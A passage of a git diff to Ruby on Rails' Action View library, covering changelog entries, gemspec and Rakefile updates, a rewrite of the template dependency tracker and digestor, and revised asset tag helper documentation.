-    pass in a `:prompt` hash option to use this feature.
-
-    *kennyj*
-
-*   Always escape the result of `link_to_unless` method.
-
-    Before:
-
-        link_to_unless(true, '<b>Showing</b>', 'github.com')
-        # => "<b>Showing</b>"
-
-    After:
-
-        link_to_unless(true, '<b>Showing</b>', 'github.com')
-        # => "&lt;b&gt;Showing&lt;/b&gt;"
-
-    *dtaniwaki*
-
-*   Use a case insensitive URI Regexp for #asset_path.
-
-    This fix a problem where the same asset path using different case are generating
-    different URIs.
-
-    Before:
-
-        image_tag("HTTP://google.com")
-        # => "<img alt=\"Google\" src=\"/assets/HTTP://google.com\" />"
-        image_tag("http://google.com")
-        # => "<img alt=\"Google\" src=\"http://google.com\" />"
-
-    After:
-
-        image_tag("HTTP://google.com")
-        # => "<img alt=\"Google\" src=\"HTTP://google.com\" />"
-        image_tag("http://google.com")
-        # => "<img alt=\"Google\" src=\"http://google.com\" />"
+*   Default translations that have a lower precedence than a html safe default,
+    but are not themselves safe, should not be marked as html_safe.
 
-    *David Celis*
+    *Justin Coyne*
 
-*   Element of the `collection_check_boxes` and `collection_radio_buttons` can
-    optionally contain html attributes as the last element of the array.
+*   Make possible to use blocks with short version of `render "partial"` helper.
 
-    *Vasiliy Ermolovich*
+    *Nikolay Shebanov*
 
-*   Update the HTML `BOOLEAN_ATTRIBUTES` in `ActionView::Helpers::TagHelper`
-    to conform to the latest HTML 5.1 spec. Add attributes `allowfullscreen`,
-    `default`, `inert`, `sortable`, `truespeed`, `typemustmatch`. Fix attribute
-    `seamless` (previously misspelled `seemless`).
+*   Add a `hidden_field` on the `file_field` to avoid raise a error when the only
+    input on the form is the `file_field`.
 
-    *Alex Peattie*
+    *Mauro George*
 
-*   Fix an issue where partials with a number in the filename weren't being digested for cache dependencies.
+*   Add an explicit error message, in `ActionView::PartialRenderer` for partial
+    `rendering`, when the value of option `as` has invalid characters.
 
-    *Bryan Ricker*
+    *Angelo Capilleri*
 
-*   First release, ActionView extracted from ActionPack
+*   Allow entries without a link tag in AtomFeedHelper.
 
-    *Piotr Sarnacki*, *Łukasz Strzałkowski*
+    *Daniel Gomez de Souza*
 
-Please check [4-0-stable (ActionPack's CHANGELOG)](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for previous changes.
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/actionview/CHANGELOG.md) for previous changes.
diff --git a/actionview/MIT-LICENSE b/actionview/MIT-LICENSE
index 5c668d9624..3ec7a617cf 100644
--- a/actionview/MIT-LICENSE
+++ b/actionview/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2015 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/actionview/README.rdoc b/actionview/README.rdoc
index 35f805346c..5bb62c7562 100644
--- a/actionview/README.rdoc
+++ b/actionview/README.rdoc
@@ -29,6 +29,11 @@ API documentation is at
 
 * http://api.rubyonrails.org
 
-Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+Bug reports can be filed for the Ruby on Rails project here:
 
 * https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+
diff --git a/actionview/RUNNING_UNIT_TESTS.rdoc b/actionview/RUNNING_UNIT_TESTS.rdoc
index a0c35e1810..6c4e5e983a 100644
--- a/actionview/RUNNING_UNIT_TESTS.rdoc
+++ b/actionview/RUNNING_UNIT_TESTS.rdoc
@@ -4,7 +4,7 @@ The easiest way to run the unit tests is through Rake. The default task runs
 the entire test suite for all classes. For more information, checkout the
 full array of rake tasks with "rake -T"
 
-Rake can be found at http://rake.rubyforge.org
+Rake can be found at http://docs.seattlerb.org/rake/.
 
 == Running by hand
 
@@ -18,9 +18,9 @@ which can be further narrowed down to one test:
 
 == Dependency on Active Record and database setup
 
-Test cases in the test/active_record/ directory depend on having
-activerecord and sqlite installed. If Active Record is not in
-actionview/../activerecord directory, or the sqlite rubygem is not installed,
+Test cases in the test/activerecord/ directory depend on having
+activerecord and sqlite3 installed. If Active Record is not in
+actionview/../activerecord directory, or the sqlite3 rubygem is not installed,
 these tests are skipped.
 
 Other tests are runnable from a fresh copy of actionview without any configuration.
diff --git a/actionview/Rakefile b/actionview/Rakefile
index e1cb4b5be0..1b71435948 100644
--- a/actionview/Rakefile
+++ b/actionview/Rakefile
@@ -11,7 +11,7 @@ task :test => ["test:template", "test:integration:action_pack", "test:integratio
 
 namespace :test do
   task :isolated do
-    Dir.glob("test/{active_record,template}/**/*_test.rb").all? do |file|
+    Dir.glob("test/{actionpack,activerecord,template}/**/*_test.rb").all? do |file|
       sh(Gem.ruby, '-w', '-Ilib:test', file)
     end or raise "Failures"
   end
@@ -21,6 +21,7 @@ namespace :test do
     t.test_files = Dir.glob('test/template/**/*_test.rb').sort
     t.warning = true
     t.verbose = true
+    t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
   end
 
   namespace :integration do
@@ -30,6 +31,7 @@ namespace :test do
       t.test_files = Dir.glob("test/activerecord/*_test.rb")
       t.warning = true
       t.verbose = true
+      t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
     end
 
     desc 'ActionPack Integration Tests'
@@ -38,6 +40,7 @@ namespace :test do
       t.test_files = Dir.glob("test/actionpack/**/*_test.rb")
       t.warning = true
       t.verbose = true
+      t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
     end
   end
 end
diff --git a/actionview/actionview.gemspec b/actionview/actionview.gemspec
index 87cb568300..8f9194cda7 100644
--- a/actionview/actionview.gemspec
+++ b/actionview/actionview.gemspec
@@ -5,9 +5,9 @@ Gem::Specification.new do |s|
   s.name        = 'actionview'
   s.version     = version
   s.summary     = 'Rendering framework putting the V in MVC (part of Rails).'
-  s.description = ''
+  s.description = 'Simple, battle-tested conventions and helpers for building web pages.'
 
-  s.required_ruby_version = '>= 1.9.3'
+  s.required_ruby_version = '>= 2.2.0'
 
   s.license     = 'MIT'
 
@@ -20,10 +20,12 @@ Gem::Specification.new do |s|
   s.requirements << 'none'
 
   s.add_dependency 'activesupport', version
-  s.add_dependency 'activemodel',   version
 
-  s.add_dependency 'builder',       '~> 3.1.0'
+  s.add_dependency 'builder',       '~> 3.1'
   s.add_dependency 'erubis',        '~> 2.7.0'
+  s.add_dependency 'rails-html-sanitizer', '~> 1.0', '>= 1.0.1'
+  s.add_dependency 'rails-dom-testing', '~> 1.0', '>= 1.0.5'
 
-  s.add_development_dependency 'actionpack', version
+  s.add_development_dependency 'actionpack',  version
+  s.add_development_dependency 'activemodel', version
 end
diff --git a/actionview/lib/action_view.rb b/actionview/lib/action_view.rb
index 39c0c6c856..c3bbac27fd 100644
--- a/actionview/lib/action_view.rb
+++ b/actionview/lib/action_view.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2015 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -23,10 +23,13 @@
 
 require 'active_support'
 require 'active_support/rails'
+require 'action_view/version'
 
 module ActionView
   extend ActiveSupport::Autoload
 
+  ENCODING_FLAG = '#.*coding[:=]\s*(\S+)[ \t]*'
+
   eager_autoload do
     autoload :Base
     autoload :Context
@@ -53,7 +56,6 @@ module ActionView
     autoload_at "action_view/template/resolver" do
       autoload :Resolver
       autoload :PathResolver
-      autoload :FileSystemResolver
       autoload :OptimizedFileSystemResolver
       autoload :FallbackFileSystemResolver
     end
@@ -80,12 +82,10 @@ module ActionView
 
   autoload :TestCase
 
-  ENCODING_FLAG = '#.*coding[:=]\s*(\S+)[ \t]*'
-
   def self.eager_load!
     super
+    ActionView::Helpers.eager_load!
     ActionView::Template.eager_load!
-    HTML.eager_load!
   end
 end
 
diff --git a/actionview/lib/action_view/base.rb b/actionview/lib/action_view/base.rb
index caade8f43b..1feafc1094 100644
--- a/actionview/lib/action_view/base.rb
+++ b/actionview/lib/action_view/base.rb
@@ -1,5 +1,5 @@
 require 'active_support/core_ext/module/attr_internal'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/ordered_options'
 require 'action_view/log_subscriber'
 require 'action_view/helpers'
@@ -10,8 +10,10 @@ require 'action_view/lookup_context'
 module ActionView #:nodoc:
   # = Action View Base
   #
-  # Action View templates can be written in several ways. If the template file has a <tt>.erb</tt> extension then it uses a mixture of ERB
-  # (included in Ruby) and HTML. If the template file has a <tt>.builder</tt> extension then Jim Weirich's Builder::XmlMarkup library is used.
+  # Action View templates can be written in several ways.
+  # If the template file has a <tt>.erb</tt> extension, then it uses the erubis[https://rubygems.org/gems/erubis]
+  # template system which can embed Ruby into an HTML document.
+  # If the template file has a <tt>.builder</tt> extension, then Jim Weirich's Builder::XmlMarkup library is used.
   #
   # == ERB
   #
@@ -31,7 +33,9 @@ module ActionView #:nodoc:
   #
   # If you absolutely must write from within a function use +concat+.
   #
-  # <%- and -%> suppress leading and trailing whitespace, including the trailing newline, and can be used interchangeably with <% and %>.
+  # When on a line that only contains whitespaces except for the tag, <% %> suppress leading and trailing whitespace,
+  # including the trailing newline. <% %> and <%- -%> are the same.
+  # Note however that <%= %> and <%= -%> are different: only the latter removes trailing whitespaces.
   #
   # === Using sub templates
   #
@@ -66,15 +70,6 @@ module ActionView #:nodoc:
   #   Headline: <%= headline %>
   #   First name: <%= person.first_name %>
   #
-  # If you need to find out whether a certain local variable has been assigned a value in a particular render call,
-  # you need to use the following pattern:
-  #
-  #   <% if local_assigns.has_key? :headline %>
-  #     Headline: <%= headline %>
-  #   <% end %>
-  #
-  # Testing using <tt>defined? headline</tt> will not work. This is an implementation restriction.
-  #
   # === Template caching
   #
   # By default, Rails will compile each template to a method in order to render it. When you alter a template,
@@ -131,7 +126,8 @@ module ActionView #:nodoc:
   #     end
   #   end
   #
-  # More builder documentation can be found at http://builder.rubyforge.org.
+  # For more information on Builder please consult the {source
+  # code}[https://github.com/jimweirich/builder].
   class Base
     include Helpers, ::ERB::Util, Context
 
@@ -153,6 +149,10 @@ module ActionView #:nodoc:
     # Specify default_formats that can be rendered.
     cattr_accessor :default_formats
 
+    # Specify whether an error should be raised for missing translations
+    cattr_accessor :raise_on_missing_translations
+    @@raise_on_missing_translations = false
+
     class_attribute :_routes
     class_attribute :logger
 
diff --git a/actionview/lib/action_view/buffers.rb b/actionview/lib/action_view/buffers.rb
index 361a0dccbe..be5d86b1dc 100644
--- a/actionview/lib/action_view/buffers.rb
+++ b/actionview/lib/action_view/buffers.rb
@@ -13,10 +13,11 @@ module ActionView
     end
     alias :append= :<<
 
-    def safe_concat(value)
-      return self if value.nil?
-      super(value.to_s)
+    def safe_expr_append=(val)
+      return self if val.nil?
+      safe_concat val.to_s
     end
+
     alias :safe_append= :safe_concat
   end
 
diff --git a/actionview/lib/action_view/dependency_tracker.rb b/actionview/lib/action_view/dependency_tracker.rb
index b2e8334077..e34bdd4a46 100644
--- a/actionview/lib/action_view/dependency_tracker.rb
+++ b/actionview/lib/action_view/dependency_tracker.rb
@@ -1,7 +1,7 @@
 require 'thread_safe'
 
 module ActionView
-  class DependencyTracker
+  class DependencyTracker # :nodoc:
     @trackers = ThreadSafe::Cache.new
 
     def self.find_dependencies(name, template)
@@ -23,24 +23,58 @@ module ActionView
       @trackers.delete(handler)
     end
 
-    class ERBTracker
+    class ERBTracker # :nodoc:
       EXPLICIT_DEPENDENCY = /# Template Dependency: (\S+)/
 
+      # A valid ruby identifier - suitable for class, method and specially variable names
+      IDENTIFIER = /
+        [[:alpha:]_] # at least one uppercase letter, lowercase letter or underscore
+        [[:word:]]*  # followed by optional letters, numbers or underscores
+      /x
+
+      # Any kind of variable name. e.g. @instance, @@class, $global or local.
+      # Possibly following a method call chain
+      VARIABLE_OR_METHOD_CHAIN = /
+        (?:\$|@{1,2})?            # optional global, instance or class variable indicator
+        (?:#{IDENTIFIER}\.)*      # followed by an optional chain of zero-argument method calls
+        (?<dynamic>#{IDENTIFIER}) # and a final valid identifier, captured as DYNAMIC
+      /x
+
+      # A simple string literal. e.g. "School's out!"
+      STRING = /
+        (?<quote>['"]) # an opening quote
+        (?<static>.*?) # with anything inside, captured as STATIC
+        \k<quote>      # and a matching closing quote
+      /x
+
+      # Part of any hash containing the :partial key
+      PARTIAL_HASH_KEY = /
+        (?:\bpartial:|:partial\s*=>) # partial key in either old or new style hash syntax
+        \s*                          # followed by optional spaces
+      /x
+
+      # Part of any hash containing the :layout key
+      LAYOUT_HASH_KEY = /
+        (?:\blayout:|:layout\s*=>)   # layout key in either old or new style hash syntax
+        \s*                          # followed by optional spaces
+      /x
+
       # Matches:
-      #   render partial: "comments/comment", collection: commentable.comments
-      #   render "comments/comments"
-      #   render 'comments/comments'
-      #   render('comments/comments')
+      #   partial: "comments/comment", collection: @all_comments => "comments/comment"
+      #   (object: @single_comment, partial: "comments/comment") => "comments/comment"
       #
-      #   render(@topic)         => render("topics/topic")
-      #   render(topics)         => render("topics/topic")
-      #   render(message.topics) => render("topics/topic")
-      RENDER_DEPENDENCY = /
-        render\s*                     # render, followed by optional whitespace
-        \(?                           # start an optional parenthesis for the render call
-        (partial:|:partial\s+=>)?\s*  # naming the partial, used with collection -- 1st capture
-        ([@a-z"'][@\w\/\."']+)        # the template name itself -- 2nd capture
-      /x
+      #   "comments/comments"
+      #   'comments/comments'
+      #   ('comments/comments')
+      #
+      #   (@topic)         => "topics/topic"
+      #    topics          => "topics/topic"
+      #   (message.topics) => "topics/topic"
+      RENDER_ARGUMENTS = /\A
+        (?:\s*\(?\s*)                                  # optional opening paren surrounded by spaces
+        (?:.*?#{PARTIAL_HASH_KEY}|#{LAYOUT_HASH_KEY})? # optional hash, up to the partial or layout key declaration
+        (?:#{STRING}|#{VARIABLE_OR_METHOD_CHAIN})      # finally, the dependency name of interest
+      /xm
 
       def self.call(name, template)
         new(name, template).dependencies
@@ -57,8 +91,8 @@ module ActionView
       attr_reader :name, :template
       private :name, :template
 
-      private
 
+      private
         def source
           template.source
         end
@@ -68,19 +102,33 @@ module ActionView
         end
 
         def render_dependencies
-          source.scan(RENDER_DEPENDENCY).
-            collect(&:second).uniq.
+          render_dependencies = []
+          render_calls = source.split(/\brender\b/).drop(1)
+
+          render_calls.each do |arguments|
+            arguments.scan(RENDER_ARGUMENTS) do
+              add_dynamic_dependency(render_dependencies, Regexp.last_match[:dynamic])
+              add_static_dependency(render_dependencies, Regexp.last_match[:static])
+            end
+          end
 
-            # render(@topic)         => render("topics/topic")
-            # render(topics)         => render("topics/topic")
-            # render(message.topics) => render("topics/topic")
-            collect { |name| name.sub(/\A@?([a-z_]+\.)*([a-z_]+)\z/) { "#{$2.pluralize}/#{$2.singularize}" } }.
+          render_dependencies.uniq
+        end
 
-            # render("headline") => render("message/headline")
-            collect { |name| name.include?("/") ? name : "#{directory}/#{name}" }.
+        def add_dynamic_dependency(dependencies, dependency)
+          if dependency
+            dependencies << "#{dependency.pluralize}/#{dependency.singularize}"
+          end
+        end
 
-            # replace quotes from string renders
-            collect { |name| name.gsub(/["']/, "") }
+        def add_static_dependency(dependencies, dependency)
+          if dependency
+            if dependency.include?('/')
+              dependencies << dependency
+            else
+              dependencies << "#{directory}/#{dependency}"
+            end
+          end
         end
 
         def explicit_dependencies
diff --git a/actionview/lib/action_view/digestor.rb b/actionview/lib/action_view/digestor.rb
index 95c3200c81..1f103786cb 100644
--- a/actionview/lib/action_view/digestor.rb
+++ b/actionview/lib/action_view/digestor.rb
@@ -9,51 +9,61 @@ module ActionView
     @@digest_monitor = Monitor.new
 
     class << self
-      def digest(name, format, finder, options = {})
-        cache_key = ([name, format] + Array.wrap(options[:dependencies])).join('.')
+      # Supported options:
+      #
+      # * <tt>name</tt>   - Template name
+      # * <tt>finder</tt>  - An instance of ActionView::LookupContext
+      # * <tt>dependencies</tt>  - An array of dependent views
+      # * <tt>partial</tt>  - Specifies whether the template is a partial
+      def digest(options)
+        options.assert_valid_keys(:name, :finder, :dependencies, :partial)
+
+        cache_key = ([ options[:name], options[:finder].details_key.hash ].compact + Array.wrap(options[:dependencies])).join('.')
+
         # this is a correctly done double-checked locking idiom
         # (ThreadSafe::Cache's lookups have volatile semantics)
         @@cache[cache_key] || @@digest_monitor.synchronize do
           @@cache.fetch(cache_key) do # re-check under lock
-            compute_and_store_digest(cache_key, name, format, finder, options)
+            compute_and_store_digest(cache_key, options)
           end
         end
       end
 
       private
-      def compute_and_store_digest(cache_key, name, format, finder, options) # called under @@digest_monitor lock
-        klass = if options[:partial] || name.include?("/_")
-          # Prevent re-entry or else recursive templates will blow the stack.
-          # There is no need to worry about other threads seeing the +false+ value,
-          # as they will then have to wait for this thread to let go of the @@digest_monitor lock.
-          pre_stored = @@cache.put_if_absent(cache_key, false).nil? # put_if_absent returns nil on insertion
-          PartialDigestor
-        else
-          Digestor
-        end
+        def compute_and_store_digest(cache_key, options) # called under @@digest_monitor lock
+          klass = if options[:partial] || options[:name].include?("/_")
+            # Prevent re-entry or else recursive templates will blow the stack.
+            # There is no need to worry about other threads seeing the +false+ value,
+            # as they will then have to wait for this thread to let go of the @@digest_monitor lock.
+            pre_stored = @@cache.put_if_absent(cache_key, false).nil? # put_if_absent returns nil on insertion
+            PartialDigestor
+          else
+            Digestor
+          end
 
-        # Store the actual digest if config.cache_template_loading is true
-        klass.new(name, format, finder, options).digest.tap do |digest|
-          @@cache[cache_key] = digest if ActionView::Resolver.caching?
+          digest = klass.new(options).digest
+          # Store the actual digest if config.cache_template_loading is true
+          @@cache[cache_key] = stored_digest = digest if ActionView::Resolver.caching?
+          digest
+        ensure
+          # something went wrong or ActionView::Resolver.caching? is false, make sure not to corrupt the @@cache
+          @@cache.delete_pair(cache_key, false) if pre_stored && !stored_digest
         end
-      rescue Exception
-        @@cache.delete_pair(cache_key, false) if pre_stored # something went wrong, make sure not to corrupt the @@cache
-        raise
-      end
     end
 
-    attr_reader :name, :format, :finder, :options
+    attr_reader :name, :finder, :options
 
-    def initialize(name, format, finder, options={})
-      @name, @format, @finder, @options = name, format, finder, options
+    def initialize(options)
+      @name, @finder = options.values_at(:name, :finder)
+      @options = options.except(:name, :finder)
     end
 
     def digest
       Digest::MD5.hexdigest("#{source}-#{dependency_digest}").tap do |digest|
-        logger.try :info, "Cache digest for #{name}.#{format}: #{digest}"
+        logger.try :debug, "  Cache digest for #{template.inspect}: #{digest}"
       end
     rescue ActionView::MissingTemplate
-      logger.try :error, "Couldn't find template for digesting: #{name}.#{format}"
+      logger.try :error, "  Couldn't find template for digesting: #{name}"
       ''
     end
 
@@ -65,13 +75,12 @@ module ActionView
 
     def nested_dependencies
       dependencies.collect do |dependency|
-        dependencies = PartialDigestor.new(dependency, format, finder).nested_dependencies
+        dependencies = PartialDigestor.new(name: dependency, finder: finder).nested_dependencies
         dependencies.any? ? { dependency => dependencies } : dependency
       end
     end
 
     private
-
       def logger
         ActionView::Base.logger
       end
@@ -85,7 +94,7 @@ module ActionView
       end
 
       def template
-        @template ||= finder.find(logical_name, [], partial?, formats: [ format ])
+        @template ||= finder.disable_cache { finder.find(logical_name, [], partial?) }
       end
 
       def source
@@ -94,7 +103,7 @@ module ActionView
 
       def dependency_digest
         template_digests = dependencies.collect do |template_name|
-          Digestor.digest(template_name, format, finder, partial: true)
+          Digestor.digest(name: template_name, finder: finder, partial: true)
         end
 
         (template_digests + injected_dependencies).join("-")
diff --git a/actionview/lib/action_view/gem_version.rb b/actionview/lib/action_view/gem_version.rb
new file mode 100644
index 0000000000..4f45f5b8c8
--- /dev/null
+++ b/actionview/lib/action_view/gem_version.rb
@@ -0,0 +1,15 @@
+module ActionView
+  # Returns the version of the currently loaded Action View as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 0
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/actionview/lib/action_view/helpers.rb b/actionview/lib/action_view/helpers.rb
index 8a78685ae1..787e9d67b2 100644
--- a/actionview/lib/action_view/helpers.rb
+++ b/actionview/lib/action_view/helpers.rb
@@ -27,6 +27,12 @@ module ActionView #:nodoc:
     autoload :TextHelper
     autoload :TranslationHelper
     autoload :UrlHelper
+    autoload :Tags
+
+    def self.eager_load!
+      super
+      Tags.eager_load!
+    end
 
     extend ActiveSupport::Concern
 
diff --git a/actionview/lib/action_view/helpers/active_model_helper.rb b/actionview/lib/action_view/helpers/active_model_helper.rb
index 901f433c70..d5222e3616 100644
--- a/actionview/lib/action_view/helpers/active_model_helper.rb
+++ b/actionview/lib/action_view/helpers/active_model_helper.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/enumerable'
 
 module ActionView
diff --git a/actionview/lib/action_view/helpers/asset_tag_helper.rb b/actionview/lib/action_view/helpers/asset_tag_helper.rb
index a13d0021ea..b7fdc16a9d 100644
--- a/actionview/lib/action_view/helpers/asset_tag_helper.rb
+++ b/actionview/lib/action_view/helpers/asset_tag_helper.rb
@@ -7,7 +7,7 @@ module ActionView
   # = Action View Asset Tag Helpers
   module Helpers #:nodoc:
     # This module provides methods for generating HTML that links views to assets such
-    # as images, javascripts, stylesheets, and feeds. These methods do not verify
+    # as images, JavaScripts, stylesheets, and feeds. These methods do not verify
     # the assets exist before linking to them:
     #
     #   image_tag("rails.png")
@@ -103,7 +103,7 @@ module ActionView
         }.join("\n").html_safe
       end
 
-      # Returns a link tag that browsers and news readers can use to auto-detect
+      # Returns a link tag that browsers and feed readers can use to auto-detect
       # an RSS or Atom feed. The +type+ can either be <tt>:rss</tt> (default) or
       # <tt>:atom</tt>. Control the link options in url_for format using the
       # +url_options+. You can modify the LINK tag itself in +tag_options+.
@@ -142,30 +142,37 @@ module ActionView
         )
       end
 
-      # Returns a link loading a favicon file. You may specify a different file
-      # in the first argument. The helper accepts an additional options hash where
-      # you can override "rel" and "type".
+      # Returns a link tag for a favicon managed by the asset pipeline.
       #
-      # ==== Options
+      # If a page has no link like the one generated by this helper, browsers
+      # ask for <tt>/favicon.ico</tt> automatically, and cache the file if the
+      # request succeeds. If the favicon changes it is hard to get it updated.
       #
-      # * <tt>:rel</tt>   - Specify the relation of this link, defaults to 'shortcut icon'
-      # * <tt>:type</tt>  - Override the auto-generated mime type, defaults to 'image/vnd.microsoft.icon'
+      # To have better control applications may let the asset pipeline manage
+      # their favicon storing the file under <tt>app/assets/images</tt>, and
+      # using this helper to generate its corresponding link tag.
       #
-      # ==== Examples
+      # The helper gets the name of the favicon file as first argument, which
+      # defaults to "favicon.ico", and also supports +:rel+ and +:type+ options
+      # to override their defaults, "shortcut icon" and "image/x-icon"
+      # respectively:
       #
-      #   favicon_link_tag '/myicon.ico'
-      #   # => <link href="/assets/myicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />
+      #   favicon_link_tag
+      #   # => <link href="/assets/favicon.ico" rel="shortcut icon" type="image/x-icon" />
       #
-      # Mobile Safari looks for a different <link> tag, pointing to an image that
-      # will be used if you add the page to the home screen of an iPod Touch, iPhone, or iPad.
+      #   favicon_link_tag 'myicon.ico'
+      #   # => <link href="/assets/myicon.ico" rel="shortcut icon" type="image/x-icon" />
+      #
+      # Mobile Safari looks for a different link tag, pointing to an image that
+      # will be used if you add the page to the home screen of an iOS device.
       # The following call would generate such a tag:
       #
-      #   favicon_link_tag '/mb-icon.png', rel: 'apple-touch-icon', type: 'image/png'
+      #   favicon_link_tag 'mb-icon.png', rel: 'apple-touch-icon', type: 'image/png'
       #   # => <link href="/assets/mb-icon.png" rel="apple-touch-icon" type="image/png" />
       def favicon_link_tag(source='favicon.ico', options={})
         tag('link', {
           :rel  => 'shortcut icon',
-          :type => 'image/vnd.microsoft.icon',
+          :type => 'image/x-icon',
           :href => path_to_image(source)
         }.merge!(options.symbolize_keys))
       end
@@ -176,7 +183,7 @@ module ActionView
       # ==== Options
       #
       # You can add HTML attributes using the +options+. The +options+ supports
-      # three additional keys for convenience and conformance:
+      # two additional keys for convenience and conformance:
       #
       # * <tt>:alt</tt>  - If no alt text is given, the file name part of the
       #   +source+ is used (capitalized and without the extension)
@@ -207,15 +214,11 @@ module ActionView
           options[:alt] = options.fetch(:alt){ image_alt(src) }
         end
 
-        if size = options.delete(:size)
-          options[:width], options[:height] = size.split("x") if size =~ %r{\A\d+x\d+\z}
-          options[:width] = options[:height] = size if size =~ %r{\A\d+\z}
-        end
-
+        options[:width], options[:height] = extract_dimensions(options.delete(:size)) if options[:size]
         tag("img", options)
       end
 
-      # Returns a string suitable for an html image tag alt attribute.
+      # Returns a string suitable for an HTML image tag alt attribute.
       # The +src+ argument is meant to be an image file path.
       # The method removes the basename of the file path and the digest,
       # if any. It also removes hyphens and underscores from file names and
@@ -224,19 +227,19 @@ module ActionView
       #
       # ==== Examples
       #
-      #   image_tag('rails.png')
-      #   # => <img alt="Rails" src="/assets/rails.png" />
+      #   image_alt('rails.png')
+      #   # => Rails
       #
-      #   image_tag('hyphenated-file-name.png')
-      #   # => <img alt="Hyphenated file name" src="/assets/hyphenated-file-name.png" />
+      #   image_alt('hyphenated-file-name.png')
+      #   # => Hyphenated file name
       #
-      #   image_tag('underscored_file_name.png')
-      #   # => <img alt="Underscored file name" src="/assets/underscored_file_name.png" />
+      #   image_alt('underscored_file_name.png')
+      #   # => Underscored file name
       def image_alt(src)
         File.basename(src, '.*').sub(/-[[:xdigit:]]{32}\z/, '').tr('-_', ' ').capitalize
       end
 
-      # Returns an html video tag for the +sources+. If +sources+ is a string,
+      # Returns an HTML video tag for the +sources+. If +sources+ is a string,
       # a single video tag will be returned. If +sources+ is an array, a video
       # tag with nested source tags for each source will be returned. The
       # +sources+ can be full paths or files that exists in your public videos
@@ -248,24 +251,26 @@ module ActionView
       #
       # * <tt>:poster</tt> - Set an image (like a screenshot) to be shown
       #   before the video loads. The path is calculated like the +src+ of +image_tag+.
-      # * <tt>:size</tt> - Supplied as "{Width}x{Height}", so "30x45" becomes
-      #   width="30" and height="45". <tt>:size</tt> will be ignored if the
-      #   value is not in the correct format.
+      # * <tt>:size</tt> - Supplied as "{Width}x{Height}" or "{Number}", so "30x45" becomes
+      #   width="30" and height="45", and "50" becomes width="50" and height="50".
+      #   <tt>:size</tt> will be ignored if the value is not in the correct format.
       #
       # ==== Examples
       #
       #   video_tag("trailer")
-      #   # => <video src="/videos/trailer" />
+      #   # => <video src="/videos/trailer"></video>
       #   video_tag("trailer.ogg")
-      #   # => <video src="/videos/trailer.ogg" />
+      #   # => <video src="/videos/trailer.ogg"></video>
       #   video_tag("trailer.ogg", controls: true, autobuffer: true)
-      #   # => <video autobuffer="autobuffer" controls="controls" src="/videos/trailer.ogg" />
+      #   # => <video autobuffer="autobuffer" controls="controls" src="/videos/trailer.ogg" ></video>
       #   video_tag("trailer.m4v", size: "16x10", poster: "screenshot.png")
-      #   # => <video src="/videos/trailer.m4v" width="16" height="10" poster="/assets/screenshot.png" />
+      #   # => <video src="/videos/trailer.m4v" width="16" height="10" poster="/assets/screenshot.png"></video>
       #   video_tag("/trailers/hd.avi", size: "16x16")
-      #   # => <video src="/trailers/hd.avi" width="16" height="16" />
+      #   # => <video src="/trailers/hd.avi" width="16" height="16"></video>
+      #   video_tag("/trailers/hd.avi", size: "16")
+      #   # => <video height="16" src="/trailers/hd.avi" width="16"></video>
       #   video_tag("/trailers/hd.avi", height: '32', width: '32')
-      #   # => <video height="32" src="/trailers/hd.avi" width="32" />
+      #   # => <video height="32" src="/trailers/hd.avi" width="32"></video>
       #   video_tag("trailer.ogg", "trailer.flv")
       #   # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
       #   video_tag(["trailer.ogg", "trailer.flv"])
@@ -275,10 +280,7 @@ module ActionView
       def video_tag(*sources)
         multiple_sources_tag('video', sources) do |options|
           options[:poster] = path_to_image(options[:poster]) if options[:poster]
-
-          if size = options.delete(:size)
-            options[:width], options[:height] = size.split("x") if size =~ %r{^\d+x\d+$}
-          end
+          options[:width], options[:height] = extract_dimensions(options.delete(:size)) if options[:size]
         end
       end
 
@@ -287,11 +289,11 @@ module ActionView
       # your public audios directory.
       #
       #   audio_tag("sound")
-      #   # => <audio src="/audios/sound" />
+      #   # => <audio src="/audios/sound"></audio>
       #   audio_tag("sound.wav")
-      #   # => <audio src="/audios/sound.wav" />
+      #   # => <audio src="/audios/sound.wav"></audio>
       #   audio_tag("sound.wav", autoplay: true, controls: true)
-      #   # => <audio autoplay="autoplay" controls="controls" src="/audios/sound.wav" />
+      #   # => <audio autoplay="autoplay" controls="controls" src="/audios/sound.wav"></audio>
       #   audio_tag("sound.wav", "sound.mid")
       #   # => <audio><source src="/audios/sound.wav" /><source src="/audios/sound.mid" /></audio>
       def audio_tag(*sources)
@@ -314,6 +316,14 @@ module ActionView
             content_tag(type, nil, options)
           end
         end
+
+        def extract_dimensions(size)
+          if size =~ %r{\A\d+x\d+\z}
+            size.split('x')
+          elsif size =~ %r{\A\d+\z}
+            [size, size]
+          end
+        end
     end
   end
 end
diff --git a/actionview/lib/action_view/helpers/asset_url_helper.rb b/actionview/lib/action_view/helpers/asset_url_helper.rb
index 0b957adb91..29733442c1 100644
--- a/actionview/lib/action_view/helpers/asset_url_helper.rb
+++ b/actionview/lib/action_view/helpers/asset_url_helper.rb
@@ -88,9 +88,12 @@ module ActionView
